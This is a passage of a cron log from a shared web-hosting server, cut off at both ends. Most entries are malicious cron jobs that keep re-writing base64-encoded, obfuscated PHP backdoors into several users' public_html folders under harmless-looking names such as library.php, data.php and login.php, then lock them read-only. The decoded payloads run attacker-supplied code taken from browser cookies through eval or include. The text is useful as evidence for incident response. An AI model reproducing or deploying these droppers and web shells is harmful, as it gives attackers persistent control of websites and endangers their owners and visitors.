AgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:05:02 medusa CROND[12808]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:05:02 medusa CROND[12816]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:05:02 medusa CROND[12819]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 12:06:01 medusa CROND[1883]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:06:01 medusa CROND[1886]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:06:01 medusa CROND[1887]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:06:01 medusa CROND[1888]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:06:01 medusa CROND[1890]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:06:01 medusa CROND[1889]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:06:01 medusa CROND[1894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:06:01 medusa CROND[1895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:06:01 medusa CROND[1896]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:06:01 medusa CROND[1898]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:06:01 medusa CROND[1899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:06:01 medusa CROND[1907]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:06:01 medusa CROND[1908]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:06:01 medusa CROND[1903]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:06:01 medusa CROND[1910]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:07:01 medusa CROND[23119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:07:01 medusa CROND[23124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:07:01 medusa CROND[23149]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:07:01 medusa CROND[23150]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:07:01 medusa CROND[23151]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:07:01 medusa CROND[23154]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:07:01 medusa CROND[23155]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:07:01 medusa CROND[23156]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:07:01 medusa CROND[23157]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:07:01 medusa CROND[23158]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dX